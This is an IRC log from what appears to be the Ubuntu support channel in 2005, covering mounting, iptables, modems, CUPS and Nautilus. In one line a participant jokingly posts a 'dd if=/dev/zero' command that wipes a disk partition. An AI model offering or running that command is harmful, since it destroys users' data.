[10:03] <bimberi> Phew, what a contrast to 8 hours ago where it was 1 post every 2 minutes :)
[10:03] <tristanmike> repeat: Can someone tell me why in "Device Manager" pretty much everything is Unknown?
[10:03] <tristanmike> is that normal?
[10:03] <robotgeek> tristanmike: lemme check :)
[10:03] <thoreauputic> tristanmike: I guess no one knows: is everything working OK ?
[10:03] <moffa> can anyone help me with mounting / unmounting?
[10:04] <apokryphos> moffa: state the problem and what you want to mount
[10:04] <thoreauputic> moffa: be a bit more specific
[10:04] <gusto5> linukso, i got it :)
[10:04] <thoreauputic> apokryphos: ;)
[10:04] <robotgeek> tristanmike: u mean the device information, i wouldn't really worry as long as it works!
[10:04] <gusto5> just had to make dir
[10:04] <tristanmike> thoreauputic, just thought I'd ask again, peeps are busy, and it seems everything is working fine
[10:04] <gusto5> and mount it
[10:04] <moffa> when trying to mount my raid after setting it up with dmraid, I get /dev/mapper/sil already mounted or /mnt/windows is busy
[10:05] <tristanmike> robotgeek, I wasn't "worried" per se, as everything does work, but I saw a screen with all of that info filled in and I like to have a "complete" system, so thought I'd ask
[10:05] <thoreauputic> tristanmike: I wasn't objecting to the repeat: you waited a long while ;-)
[10:05] <tristanmike> thoreauputic, kewl, I din
[10:05] <robotgeek> tristanmike: :)
[10:05] <linukso> gusto5: ok
[10:05] <tristanmike> *didn't think that at all =)
[10:05] <thoreauputic> OK :)
[10:05] <bimberi> tristanmike: virtually of my stuff is "unknown" until i get below the Processor, then most of it is "unknown" :)
[10:06] <shinu> what can i use to make a .torrent file?
[10:06] <tristanmike> bimberi, yeah, that screen I saw made me itchy... ;)
[10:06] <bimberi> bimberi: ... and it is working fine btw :)
[10:06] <robotgeek> shinu: gnome bittorrent, or azureus
[10:06] <kamikazesponge> ok, here's another one: iptables -A FORWARD -i tun0 -s 10.8.1.0/24 -d 10.66.4.0/24 -j ACCEPT.. i really don't get this one :S
[10:06] <gusto5> linukso my question is how do i disable my USB drive?
[10:06] <v1ru5> robotgeek: worked. but how can i fix the system so that it can start up with the mouse plugged.. i mean, the mouse works now when i plugged it AFTER gnome launch
[10:07] <gusto5> ive unmounted it
[10:07] <robotgeek> shinu: sorry, azureus!
[10:07] <thoreauputic> kamikazesponge: is there a #iptables ? I wonder if that might be a better place to get an answer?
[10:07] <mindamp> how do i get my cups web interface back?
[10:07] <shinu> meh
[10:07] <mindamp> i hate the fact that its been locked
[10:07] <v1ru5> if i want to mount Windows partitions (NTFS), what switches do i use for mount???
[10:08] <shinu> ill have to install azureus then...
[10:08] <linukso> gusto5: umount
[10:08] <mindamp> and im not using xwindows or any other gui...
[10:08] <mindamp> so im screwed
[10:08] <kamikazesponge> thoreauputic: i guess it's not a specific ubuntu question.. but i'm setting something up on ubuntu, that's why i'm asking it in here
[10:08] <bimberi> !windowsdrives
[10:08] <ubotu> well, windowsdrives is Download and run http://www.ubuntulinux.nl/files/winmac_fstab to make your windows partions mount automatically
[10:08] <robotgeek> v1ru5: maybe it needs the module loaded at bootup, though it shud not prevent it from booting
[10:08] <rob_p> kamikazesponge:  It means that IP addresses in the range of 10.8.1.0/24 coming in the tun0 interface, and destined for 10.66.4.0/24 are allowed on the FORWARD chain.
[10:08] <mindamp> how do i fix this?
[10:08] <bimberi> !tell v1ru5 about windowsdrives
[10:08] <gusto5> linukso, ive umounted, but my light indicator on the USB is still active
[10:08] <thoreauputic> kamikazesponge: appears t be 67 people in #iptables - sure, i didn't mean you were off topic
[10:08] <v1ru5> robotgeek: how can i make it load it at bootup??
[10:08] <apokryphos> v1ru5: basically, sudo mount /dev/hdaX /mnt/windows -t ntfs -o umask=0222
[10:08] <thoreauputic> kamikazesponge: just a suggestion
[10:09] <apokryphos> v1ru5: though the autoscript ubotu just gave you will be handy. It'll do it for you.
[10:09] <kamikazesponge> thoreauputic: i didn't know there really was a #iptables, thought what you meant to say was that this channel is about ubuntu
[10:09] <mindamp> anyone?
[10:09] <linukso> gusto5: then it is safe to remove it
[10:09] <robotgeek> v1ru5: i guess u don't know the name of the module for the mouse...can u do a lsmod and paste the output to pastebin
[10:09] <gusto5> linukso, thanks
[10:09] <thoreauputic> kamikazesponge: no, no... #iptables exists on this network
[10:09] <rob_p> kamikazesponge:  It doesn't necessarily mean that there have been any masquerading rules established though.  That rule alone is fairly useless unless you setup some routing or masquerading to go along with it.
[10:10] <moffa> whats the umask function do?
[10:10] <mindamp> can anyone help?
[10:10] <v1ru5> bimberi: and what do i do with that file??
[10:10] <kamikazesponge> rob_p: but you mean that that rule kind of substitutes the IP of that machine with the entire 10.66.4.0/24 subnet?
[10:10] <v1ru5> oops
[10:10] <NoUse> mindamp get a console based web browser like links
[10:10] <v1ru5> bimberi: nothing, got the instructions
[10:10] <v1ru5> lol
[10:10] <mindamp> nouse.. i have a console web browser.
[10:10] <thoreauputic> kamikazesponge:  In other words, no sarcasm was intended :)
[10:10] <mindamp> my question if you would read is...
[10:11] <bimberi> v1ru5: np :)
[10:11] <mindamp> how do i unlock the web interface?
[10:11] <kamikazesponge> thoreauputic: i understand now, thanks for the hint
[10:11] <mindamp> i can get to it..
[10:11] <mindamp> but its locked
[10:11] <mindamp> no admin functions allowed for some reason
[10:11] <mindamp> this is standard with the current package for debian
[10:11] <mindamp>  / ubuntu
[10:12] <jintxo> mindmap I unlocked it on a machine (headless server) but I can't remember how, it was a quick google search though
[10:12] <ttyS0> is there more repositories & if yes where can they be found? :)
[10:12] <apokryphos> moffa: it's for the mask properties applied to newly created files/directories etc
[10:12] <WildFire`> well
[10:12] <thoreauputic> !repos
[10:12] <ubotu> somebody said repos was at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[10:12] <mindamp> damn it
[10:12] <WildFire`> the live cd booted fine, but how do i get connected to the internet?
[10:12] <kamikazesponge> WildFire`: depends on what internet you have
[10:12] <WildFire`> im on a modem btw, 28.8 :P
[10:12] <WolfPac> Hello again.
[10:12] <WildFire`> well
[10:13] <WildFire`> 56k but cant get higher than 28.8
[10:13] <kamikazesponge> WildFire`: do those still exist? :|
[10:13] <WildFire`> kami, unfortunately
[10:13] <Nasso> is there a releasedate for breezy yet?
[10:13] <rob_p> kamikazesponge:  No.  It only means what I said earlier.  Traffic from the range 10.8.1.0/24 inbound to your tun0 that is destined for the other network range, is allowed on the FORWARD chain.  That's all.
[10:13] <apokryphos> Nasso: october 12
[10:13] <thoreauputic> Nasso: October
[10:13] <WildFire`> either way, how do i get connected?
[10:13] <ttyS0> 
[10:13] <thoreauputic> apokryphos: aha thanks :)
[10:13] <__filip_> can someone test if my ftp-server works?
[10:13] <WolfPac> I have a different old PC with no working optical drives. I do have one I can stick in, but I wanted to know if I could do a network install?
[10:13] <ttyS0> thx, i mean
[10:13] <NoUse> !dialup
[10:13] <ubotu> well, dialup is https://wiki.ubuntu.com//DialupModemHowto
[10:13] <WildFire`> alright
[10:13] <Nasso> damn, me and math. somehow i got september to be month nr 10 :P
[10:14] <apokryphos> Nasso, thoreauputic: whoop, it's 13 actually (currently)
[10:14] <kamikazesponge> rob_p: but i don't understand what you say, i'm pretty new to IPtables. only thing i know (know, not understand) is opening ports..
[10:14] <Nasso> apokryphos, okay, looking forward to it :)
[10:14] <sorush20> guys.. I want to be able to run VCDs I have mplayer but it will not run it... how can I fix this problem..
[10:14] <apokryphos> Preview out... tomorrow!
[10:14] <mindamp> so is everyone here a gui fiend then?
[10:14] <WildFire`> its an Agere Systems PCI Soft modem
[10:14] <NoUse> sorush20 have you looked at the mplayer man page?
[10:14] <sorush20> I have mplayer but when I try to make the vid .. into full screen it does not work can someone help please..
[10:14] <mindamp> cause im not getting any answers, and this seems incredibly sensitive to admins
[10:14] <kamikazesponge> WildFire`: i'm not sure if the live-cd of ubuntu comes with dial-up software
[10:14] <apokryphos> no, no, false alarm. Preview *Freeze* tomorrow.
[10:14] <WildFire`> hmm
[10:15] <WildFire`> kama
[10:15] <WildFire`> thats for 4.10
[10:15] <Nasso> all the howtos that are written for hoary, will they work in breezy? will there be "major" changes?
[10:15] <WildFire`> i have 5.04
[10:15] <kamikazesponge> WildFire`: i'm on broadband so i can't tell you much about that
[10:15] <WildFire`> heh
[10:15] <thoreauputic> __filip_:  Unable to connect to remote host: Connection refused
[10:15] <robotgeek> mindamp: not really, but i don't use cups :)
[10:15] <kamikazesponge> WildFire`: i was talking about hoary too
[10:15] <gusto5> hello
[10:15] <ttyS0> !callback
[10:15] <ubotu> ttyS0: I'm not sure, is it larger than a breadbox?
[10:15] <thoreauputic> __filip_: that's on port 21
[10:15] <jintxo> mindmap maybe what it suggests towards the middle of this page will do it for you http://i-admin.blogspot.com/2004_12_01_i-admin_archive.html
[10:15] <__filip_> you must connect on port 1980
[10:15] <ondrej> mako: ping?
[10:15] <WildFire`> er...wtf
[10:15] <WildFire`> The name of the modem device (/dev/...)
[10:15] <WildFire`> The name of the modem device (/dev/...)
[10:16] <WildFire`> bah
[10:16] <WildFire`> sorry.
[10:16] <thoreauputic> __filip_: well, that would have been useful to know...
[10:16] <robotgeek> mindamp: WildFire` :)
[10:16] <gusto5> xmms freezes when i try to play any mp3 file. i followed the instructions on ubuntuguide.org, any insight?
[10:16] <WildFire`> anyhow how do i collect that information, "linux noob"
[10:16] <WolfPac> Is it possible to do a network install with Ubuntu?
[10:16] <__filip_> you alos need pass and usernamn
[10:16] <robotgeek> mindamp: sorry, tab complete error!
[10:16] <jintxo> mindamp, basically editing cupsd.conf
[10:16] <WildFire`> flip
[10:16] <__filip_> can i write an PM?
[10:16] <rob_p> kamikazesponge:  Truthfully, I don't have the time to explain all the ins n' outs of how iptables works.  Get a book and/or read some tutorials.  It'll begin to make more sense to you...  I don't mean to be crude or anything but it's rather impractical for me to try and explain it all to you here...
[10:16] <WildFire`> yes.
[10:16] <apokryphos> WolfPac: you can do a server install then use apt from there, I guess
[10:16] <mako> ondrej: yah
[10:16] <WildFire`> filip, go ahead
[10:16] <kamikazesponge> rob_p: i know what you mean, i tried to read the manual :P
[10:16] <NoUse> !installguide
[10:16] <ubotu> installguide is, like, totally, for instructions on several boot methods, try https://wiki.ubuntu.com/Installation/
[10:17] <NoUse> WolfPac_Ite check the install guide
[10:17] <ondrej> mako: do you have any information about CDs when order is started?
[10:17] <v1ru5> how do i add a shortcut to a folder in gnome??
[10:17] <v1ru5> to the desktop
[10:17] <thoreauputic> __filip_: telnet connects
[10:17] <rob_p> kamikazesponge:  If I could recommend a good book to you, it would be, "Linux Firewalls."
[10:17] <gusto5> xmms freezes when i try to play any mp3 file. i followed the instructions on ubuntuguide.org, any insight?
[10:18] <sexcopter8000m> what should i use to burn a cd? is there anything that can burn an nrg file?
[10:18] <kamikazesponge> rob_p: ok.. and do you happen to know a good book about notations and stuff too? the only notation i "understand" is x.x.x.0/24, but the rest rather confuses me
[10:18] <mako> ondrej: hold up dude
[10:18] <rob_p> kamikazesponge:  Google!
[10:19] <kamikazesponge> rob_p: :P
[10:19] <sexcopter8000m> v1ru5: read man ln
[10:19] <kamikazesponge> i know i'm lazy :P
[10:20] <rob_p> kamikazesponge:  Me too!
[10:20] <rob_p> :-)
[10:20] <kamikazesponge> yaay
[10:20] <kamikazesponge> that's why i love debian/ubuntu, and especially apt-get :P
[10:20] <v1ru5> how do i enable mp3 support in ubuntu???
[10:20] <NoUse> !tell v1ru5 about mp3
[10:20] <ttyS0> !call back
[10:20] <ubotu> ttyS0: NO SPEAKE ENLISH!
[10:21] <ttyS0> strange
[10:21] <kamikazesponge> !call back
[10:21] <rob_p> kamikazesponge:  anyhow... good luck with it!
[10:21] <gusto5> linukso, xmms freezes when i try to play any mp3 file. i followed the instructions on ubuntuguide.org, any insight?
[10:21] <kamikazesponge> rob_p: thanks ^^
[10:21] <kamikazesponge> one day.. i will be a pro..
[10:21] <topyli> kamikazesponge: if you're lazy, you got the right system now :)
[10:21] <ondrej> mako: shipment date is 2005-08-08 on shipit page, and if you have information wheter CD are in transit...  (people are getting nervous...  looks like it was not smart idea to start CD distribution point with just 20 CDs...)
[10:22] <mumbles> i got mine a few days ago
[10:22] <__filip_> someone from sweden that can test my ftp-server?
[10:22] <kamikazesponge> topyli: i know ^^, i got so used to it that i tried to apt-cache search html on windows this morning..
[10:22] <linukso> gusto5: hm, nope, not really (try beep-media-player, similar, but not antique)
[10:22] <kamikazesponge> and when i do something on the prompt in windows i always type ls, so i made a batchfile named ls :P
[10:22] <Skaja> ubuntu sees my modem but i dont know how to change the modem port
[10:22] <topyli> kamikazesponge: that is one system NOT for lazy admins :)
[10:23] <LasseL> wierd, suddenly it takes about 5 *minutes* to start firefox
[10:23] <topyli> kamikazesponge: i can't believe how much work i have done on those
[10:23] <Skaja> in windows my modem is on com 4
[10:23] <kamikazesponge> topyli: i know, i've tried to install apache/mysql/php on it.. i gave up after 3 WEEKS
[10:23] <topyli> hehe
[10:24] <abarbaccia> hey all - im trying to use rsync to sync two directories between my ubuntu boxes over a network.  How do i do that?
[10:24] <thoreauputic> Skaja: ttyS3
[10:24] <kamikazesponge> topyli: i'm only working with linux for about 6 months now.. first only server but now i'm thinking about installing ubuntu on my "main" pc too
[10:24] <topyli> kamikazesponge: lazy. give it 3 months and it will work for a while
[10:24] <LasseL> kamikazesponge, get cygwin for windows
[10:24] <Skaja> i did that it did not work
[10:24] <kamikazesponge> topyli: <rofl>
[10:24] <thoreauputic> Skaja: /dev/ttyS3 is the correct path
[10:25] <LasseL> kamikazesponge, and add c:\cygwin\bin to your path, works wonders
[10:25] <thoreauputic> Skaja: com 1 == /dev/ttyS0
[10:25] <topyli> kamikazesponge: dig LasseL's sage advice
[10:25] <kamikazesponge> LasseL: i gave that a try but then i decided that making a multiboot linux/windows system would save me a LOT of time and would eventually work even better..
[10:25] <Skaja> is there an app that dials to the internet
[10:25] <gusto5> linukso, beep-media-player also freezes
[10:25] <thoreauputic> Skaja: case sensitive, of course
[10:25] <ttyS0> Skaja, gnome-ppp , wvdial
[10:25] <kamikazesponge> LasseL: for the few times i'm in cmd i'll just use my beautifull ls.bat file :P
[10:26] <punkass> anyone know of an editor that works via gnome-vfs??
[10:26] <LasseL> kamikazesponge, i managed to screw up my windows install two days after I installed ubuntu two months ago, never looked back
[10:26] <punkass> in read/write mode not just readonly like gedit
[10:26] <topyli> kamikazesponge: no, LasseL is seriously right. cygwin will genuinely make your life on windows a lot easier
[10:26] <LasseL> kamikazesponge, but you'll miss less.bat and grep.bat and many others
[10:26] <kamikazesponge> LasseL: heh, i'll keep windows on my system, i use photoshop a lot and i play a lot of games
[10:26] <kamikazesponge> topyli: ok
[10:26] <thoreauputic> punkass: gedit is read write - you probably need sudo
[10:26] <kamikazesponge> LasseL: that's true
[10:27] <topyli> get bash!
[10:27] <topyli> get X!
[10:27] <topyli> even
[10:27] <thoreauputic> get rid of windows!
[10:27] <thoreauputic> ;)
[10:27] <topyli> heh
[10:27] <apokryphos> burnburn
[10:27] <kamikazesponge> LOL
[10:28] <LasseL> games is a valid reason unless you are mostly into abandonware/emulators (like me)
[10:28] <thoreauputic> dd if=/dev/zero of=/dev/hda1
[10:28] <thoreauputic> don't try that at home. kids...
[10:28] <punkass> thoreauputic: even gedit running as sudo still only mounts them read-only
[10:28] <mumbles> under sudo how do i make a new user ?
[10:28] <kamikazesponge> LasseL: i play both.. but mostly the newer games.. and to be honest i don't have that much faith in cedega
[10:29] <kamikazesponge> mumbles: sudo adduser <blah>
[10:29] <thoreauputic> punkass: what are you trying to do?
[10:29] <LasseL> for lovers of strategy games i can recommend battle of wesnoth to everybody, freeciv too
[10:29] <punkass> i have an ssh server setup via "connect to server" and can browse all the files but when i want to edit them..gedit opens them, but in readonly mode
[10:30] <thoreauputic> ah
[10:30] <thoreauputic> punkass: so you want remote editing?
[10:30] <kamikazesponge> LasseL: battle of wesnoth? what's that? comparable to things like age of empires? (i know it's microsoft and i hope everyone can forgive me for that, but i got addicted)
[10:30] <topyli> LasseL: just trying to grok wesnoth, but i suck currently
[10:30] <punkass> yes..now i know i can use shfs but i thought i would try gnome-vfs cuz it seems to work pretty well..(except for this of course)
[10:31] <thoreauputic> punkass: you don't have an editor on the remote server?
[10:31] <LasseL> kamikazesponge, it is more like heroes of might and magic or maybe some old SSL games like battle island
[10:31] <topyli> LasseL: i suck at most games anyway :)
[10:31] <LasseL> topyli, it is a challenge
[10:31] <topyli> yep
[10:31] <punkass> yes i can use vi etc...but i just wanted to use gedit or something more "gui" with tabs etc
[10:32] <topyli> LasseL: so, i play clanbomber mostly :)
[10:32] <Skaja> is wvdial installed ob ybuntu
[10:32] <kamikazesponge> LasseL: hmm... i don't like heroes of might and magic that much.. i don't have enought patience for it... i did like might & magic 7 and 8.. do you know them?
[10:32] <Skaja> ubuntu
[10:32] <thoreauputic> Skaja: yes
[10:32] <Jhair> punkass, for remote editing via ssh I use frequently emacs+tramp, works great, maybe you should try it
[10:32] <topyli> kamikazesponge: wesnoth is a bit like heroes
[10:32] <Skaja> so i just need to download gnome ppp
[10:32] <LasseL> kamikazesponge, the 3d stuff? bored me to death
[10:32] <punkass> Jhair: ill look into that
[10:33] <zatmania> hi
[10:33] <jintxo> you guys know an id3 tag editor that alllows to set the info based on the filename? I used on once but can't remember the name
[10:33] <kamikazesponge> LasseL: i loved them. they look like crap but the gameplay and story was fantastic imo
[10:33] <zatmania> see freshmeat
[10:33] <thoreauputic> Skaja: if you have your universe repo enabled you can install it with synaptic
[10:33] <thoreauputic> !info gppp
[10:33] <kamikazesponge> LasseL: and well.. i can't really call that 3d.. minesweeper looks better
[10:33] <thoreauputic> bah
[10:34] <thoreauputic> !find gppp
[10:34] <ubotu> Ubuntu Package Listing of 'gppp' (2 shown): gpppkill ;; gpppon.
[10:34] <punkass> its to bad cuz gnome-vfs would be a lot more useful if it could write aswell
[10:34] <thoreauputic> hmm
[10:34] <gusto5> xmms and beep freeze when i try to play any mp3 file. i followed the instructions on ubuntuguide.org, any insight?
[10:34] <eruin> silly sex chat spammers
[10:35] <thoreauputic> ah
[10:35] <thoreauputic> !info gnome-ppp
[10:35] <ubotu> gnome-ppp: (a modem internet connection tool for GNOME), section universe/net, is optional. Version: 0.3.17-2 (hoary), Packaged size: 76 kB, Installed size: 572 kB
[10:36] <LasseL> kamikazesponge, try frozen-bubbles it is very addictive
[10:36] <Pyf> I wanna format a WinME computer and install ubuntu, i dont know how to format the comp though... can i do it with the ubuntu install CD ???
[10:36] <gusto5> pyf, yes
[10:36] <topyli> eruin: see the topic: /umode +CE
[10:36] <LasseL> Pyf, do you just want to kill WinME ?
[10:36] <kamikazesponge> LasseL: i know it, i had an old cd of knoppix a while ago
[10:36] <nalioth_wrkn> Pyf: ubuntu will take care of your windows
[10:36] <kamikazesponge> LasseL: dont swear please.. winme :|
[10:36] <Pyf> what do I do, is it a step in the install proccess?
[10:37] <gusto5> Pyf, are you killing windows?
[10:37] <LasseL> Pyf, it is the "automatic partition" step
[10:37] <gusto5> Pyf, if you are, then just follow the instructions as installation goes along with the formatting
[10:37] <Pyf> gusto5, yes...
[10:37] <topyli> Pyf: it will suggest, "take hold of the entire hard drive". you say yes
[10:37] <kamikazesponge> gtg guys
[10:37] <kamikazesponge> good night
[10:37] <gusto5> anyone help me with my music problem? :P
[10:37] <kamikazesponge> or whatever time it is :P
[10:37] <Pyf> ahh thanks everyone :)
[10:37] <gusto5> lol kamikazesponge
[10:38] <thoreauputic> yay! wiping windows ME ! whoopee!
[10:38] <Pyf> stupid winME cant boot into dos like xp and 98 can
[10:38] <topyli> Pyf: the install is very straight forward, it's hard to fail to install ubuntu
[10:38] <gusto5> thats ok, just set bios for CD-ROM boot priority over HDD
[10:38] <kamikazesponge> Pyf: but why did you get winme in the first place. why? :|
[10:38] <Pistache`> les modems telephoniques internes sont facilement detectes par ubuntu ?
[10:38] <topyli> Pyf: yes, no dos. that was the end of windows
[10:38] <Pyf> kamikazesponge, i got given the computer, with a broken version of winme on it
[10:39] <thoreauputic> Pistache`: pas si ce sont des "winmodem"
[10:39] <thoreauputic> Pistache`:  /join #ubuntu-fr
[10:39] <kamikazesponge> Pyf: smack the pe.. oh wait, given.. then it's ok :P
[10:39] <Pistache`> ah sorry
[10:39] <Pistache`> :)
[10:39] <Pistache`> i made a join mistake :)
[10:39] <LasseL> Pyf, really?? try holding F8 while it boots
[10:39] <thoreauputic> Pistache`: bonne chance :)
[10:39] <Pistache`> thnx thoreauputic ):)
[10:39] <Pistache`> :)
[10:39] <kamikazesponge> Pyf: uhh.. btw.. don't get offended, i just had pretty bad experiences with winme myself. ;)
[10:40] <kamikazesponge> now i'm really going
[10:40] <kamikazesponge> bye
[10:40] <omp342> boo
[10:40] <Pyf> LasseL, i thought that, tried it, it dont work... looked it up, supposedly ms removed the option to make booting quicker, wtf?!
[10:40] <FrdPrefct> hello
[10:40] <LasseL> Pyf, edit the bios to boot from CD first then
[10:40] <FrdPrefct> Does anyone know where i can see screenshots of breezy?
[10:40] !lilo:*! Hi all. Hint for registered users: If you want to turn off private message blocking from unregistered users, use: /msg nickserv set unfiltered on .... thanks.
[10:40] <FrdPrefct> and, is breezy worth giving a try yet?
[10:41] <apokryphos> It looks pretty much the same
[10:41] <LasseL> only if you are l33t :p
[10:41] <Pyf> LasseL, have done, didnt realise ubuntu install cd will format it for me :)
[10:41] <topyli> FrdPrefct: breezy somewhat works, but it looks just the same. no reason to drool over screenshots
[10:41] <LasseL> Pyf, see you back here in 30 minutes then
[10:42] <Pyf> LasseL, prolly :)
[10:42] <topyli> FrdPrefct: for the new gnome features, go here: http://www.gnome.org/~davyd/gnome-2-12/
[10:43] <apokryphos> Nautlius has no Location bar by default? Is that serious? :/
[10:43] <gusto5> no one wants to help with my sound problem? :P
[10:43] <dreamie> my favorites was the pizza place on univ ave
[10:43] <topyli> apokryphos: nautilus has a browser mode with all the goodies, and the spatial default which just shows you the contents of a folder
[10:44] <BleSS> i finished a tool that auto-detects hardware and generates an X.org configuration file - ftp://ftp.berlios.de/pub/vinque/Xconfig.py
[10:44] <LasseL> gusto5, try searching the ubuntuforums, there is a howto
[10:44] <dreamie> oops
[10:44] <apokryphos> topyli: it has browser now, too? Oh, that's funny :).
[10:44] <dreamie> i typed it in channel
[10:44] <thoreauputic> apokryphos: I made a !newgnome factoid with the link topyli gave above (thanks topyli)
[10:44] <LasseL> and there is:
[10:44] <topyli> apokryphos: it always had that
[10:44] <LasseL> !sound
[10:44] <ubotu> well, sound is http://www.ubuntulinux.org/wiki/DebuggingSoundProblems/
[10:44] <apokryphos> thoreauputic: checking now; looks interesting.
[10:44] <LasseL> gusto5, but I find the forum howto less cryptic
[10:44] <topyli> thoreauputic: thanks, i've pasted that link too many times already :)
[10:45] <apokryphos> topyli: really? Didn't know that. Had a debate some time ago and a major criticism of Konqueror (they said) is that it confused user areas, by being a browser and a file manager.
[10:45] <thoreauputic> topyli: yeah - useful link - I had a look a while ago :)
[10:45] <angelus__1969> my ubuntu client finally gets an fixed dhcp address and hostname from my centos dhcp server box
[10:45] <angelus__1969> but now the client starts to moan about not being able to very the name against the dns
[10:45] <angelus__1969> any ideas?
[10:46] <apokryphos> topyli: The preview there does indeed have some nice looking stuff. Too simplistic for my liking, but it's nice. ;)
[10:46] <topyli> apokryphos: spatial nautilus is not really a file manager. it's just something you use to manage the desktop. you use browser mode for browsing
[10:46] <thoreauputic> apokryphos: nautlus isn't true browser a la konqueror though
[10:46] <thoreauputic> *nautilus
[10:46] <elvirolo> hi all
[10:46] <apokryphos> topyli: browser = web-browser, right?
[10:46] <apokryphos> topyli: what is the gnome file manager, then?
[10:47] <topyli> apokryphos: browser = file browser like windows explorer
[10:47] <thoreauputic> apokryphos: no - file browser, although nautilus can load http://
[10:47] <apokryphos> ahh
[10:47] <elvirolo> i'm currently using one of my friend's pc (with hoary on it) via vnc ... and i need to get her printer to work ... but lsusb doesn't output anything at all !
[10:47] <wrtpeeps> anyone know the package name for tcl headers?
[10:47] <topyli> apokryphos: right click any folder and choose "browse"
[10:47] <apokryphos> thought for a second it had some secret web-browser features
[10:47] <wrtpeeps> apart from tcllib
[10:47] <mjr> nautilus manages files, spatial or not, so it is a "file manager"
[10:47] <ttyS0> is it any analogue of playsound?
[10:47] <apokryphos> topyli: what is the gnome file manager, though, then?
[10:47] <topyli> mjr: true enough
[10:48] <LasseL> apokryphos, nautilus --browser
[10:48] <angelus__1969> I should put the hostname in the /etc/hosts file, but this goes beside the point of having the hostname given by the dhcp though
[10:48] <topyli> apokryphos: nautilus of course
[10:48] <elvirolo> ideas anyone ?
[10:48] <topyli> apokryphos: it has two different modes of operation: spatial, browser
[10:48] <LasseL> I don't understand why nautilus isn't launched in browser mode by default
[10:49] <thoreauputic> apokryphos: actually scratch that - it doesn't handle http:// links
[10:49] <thoreauputic> apokryphos: I thought it did, but it only does ftp:// and ssh:// afaics
[10:49] <eruin> apokryphos, http://appelsinjuice.org/default.png shows the default nautilus mode in ubuntu
[10:49] <apokryphos> topyli: "nautlius is not really a file manager"...
[10:50] <apokryphos> yes, so I see
[10:50] <mjr> eruin, no, it doesn't
[10:50] <thoreauputic> LasseL: there was a huge flamewar about it when 2.6 came out
[10:50] <ttyS0> !playsound
[10:50] <ubotu> ttyS0: Did you get hit by a windmill?
[10:50] <theD3viL> Is now smart to using breezy ????
[10:50] <eruin> mjr, oh? this is what it looked after installing breezy
[10:50] <topyli> apokryphos: look at my screenshot and see how i have some important folders on my desktop. they always open in spatial mode. on the top panel i have a launcher icon for a file manager, which is in browser mode: http://siltala.net/comp/Hoary-desktop.jpg
[10:50] <angelus__1969> any ideas how to get rid of this error message?
[10:51] <thoreauputic> theD3viL: more accurately, you need to be smart to use breezy atm ;-)
[10:51] <thoreauputic> smartr than me, anyway ;D
[10:51] <eruin> breezy preview is slated for seven days or so
[10:51] <eruin> it should be pretty safe going
[10:51] <topyli> apokryphos: "not really a file manager" is incorrect, sorry. not _only_ a file manager is better
[10:51] <nicholaspaul> is that a solid distro? eruin
[10:51] <apokryphos> topyli: ok, I see, sure.
[10:52] <eruin> nicholaspaul, I have no issues with it
[10:52] <apokryphos> topyli: I've gotta rush of to work (boss just phoned, wondering why I didn't turn up; yikes). I'll speak to you later abuot this if poss
[10:52] <eruin> nicholaspaul, you could ofcourse be less fortunate
[10:52] <LasseL> nautilus seems to cover the same tasks as windows explorer, drawing the desktop, browsing files and handling file associations
[10:52] <topyli> apokryphos: sure, i'f i'm around
[10:52] <apokryphos> Au revoir
[10:52] <topyli> da svidanija
[10:52] <eruin> LasseL, doesnt explorer also handle the menu ?
[10:52] <nicholaspaul> eruin: ok . LOL I get it! The last time i Breezied I got a nasty shock and had to go back to Hoary. The forum was full of "HELP" messages!!!
[10:53] <eruin> nicholaspaul, was that in june by any chance? ;)
[10:53] <LasseL> eruin, right
[10:53] <nicholaspaul> eruin: yup!!
[10:53] <thoreauputic> heh, apokryphos was so busy on IRC he forgot to go to work :)
[10:53] <angelus__1969> is there any way to update the /etc/host file after I get the info from the dhcp server?
[10:53] <eruin> nicholaspaul, xorg is unbroken now
[10:53] <topyli> so it seems
[10:53] <tristanmike> that's dedication thoreauputic
[10:54] <thoreauputic> tristanmike: indeed :)
[10:54] <nicholaspaul> eruin: phew! so with a pIII and a good whack of ram i should be ok?  or is that a silly unanswerable q: ?
[10:54] <nicholaspaul> eruin: phew! So i 'should' be ok ?
[10:54] !lilo:*! Hints: You can sign onto NickServ by just using your NickServ password as a server password when you connect.
[10:54] <topyli> thoreauputic: happens all the time =)
[10:54] <nicholaspaul> (oo lag)
[10:54] <thoreauputic> tristanmike: he had his priorities straight!
[10:54] <vices> how does ./configure work?  do things "install" themselves somewhere?
[10:54] <eruin> nicholaspaul, unanswerable, but I suppose you should be ok
[10:54] <tristanmike> thoreauputic, damn right! =)
[10:54] <nicholaspaul> lol eruin. I understand.
[10:55] <benkong2> ping
[10:55] <LasseL> ding
[10:55] <tristanmike> thoreauputic, kinda like the relationship between Barney and Moe's
[10:55] <thoreauputic> vices: there are two other steps - make, and "make install"
[10:55] <eruin> nicholaspaul, I've been running breezy since they announced it ;)
[10:55] <nicholaspaul> eruin> Even since June?
[10:55] <vices> thoreaputic: ahh, i've heard of these.  what are the typical arguments?
[10:55] <eruin> nicholaspaul, yes, bumpy ride around then though
[10:56] <benkong2> I get an error on boot skge cannot map device registers and eth0 at line 2 can't be mapped reliably. also my nic does not work. What's wrong?
[10:56] <LasseL> :)
[10:56] <nicholaspaul> yea i bet eruin. I'm not hardcore enough to weather those storms....
[10:56] <benkong2> breezy btw
[10:56] <thoreauputic> vices: "make" does the compiling, make install puts things where they are meant to be in the file system
[10:56] <nicholaspaul> i'm too gui
[10:56] <eruin> nicholaspaul, and I lived a close to a month without my lovely keyboard layout
[10:56] <vices> so what does ./configure do?
[10:56] <nicholaspaul> euin: a custom kbd layout?
[10:56] <vices> thoreauputic: :)
[10:56] <eruin> nicholaspaul, and spilled coffee on it (a laptop keyboard) when xorg was finally unborked ;-)
[10:57] <thoreauputic> vices: in simple terms, checks that you have the needed bits befoe you compile
[10:57] <vices> thoreauputic: how do I tell it where to install?
[10:57] <thoreauputic> vices: normally you don't - by default it uually installs in /usr/local/
[10:58] <moZer> anyone know of ubuntu packages of deer park?
[10:58] <tristanmike> sometimes they come with an installer, like Teamspeak, am I right?
[10:58] <nicholaspaul> eruin: yikies! any caffeine make it to a motherboard?
[10:58] <elvirolo> please guys, at least could you tell me where i could get help for my prib ? cuase he's not gonna keep ubuntu if her printer doesn't work
[10:58] <thoreauputic> vices: you can type ./configure --help to see altrnatives
[10:58] <WolfPac_Ite> Will I be able to set up dual boot if I have the second HDD with Ubuntu connected to the secondary slave IDE channel?
[10:58] <WolfPac_Ite> Or does it need to be master?
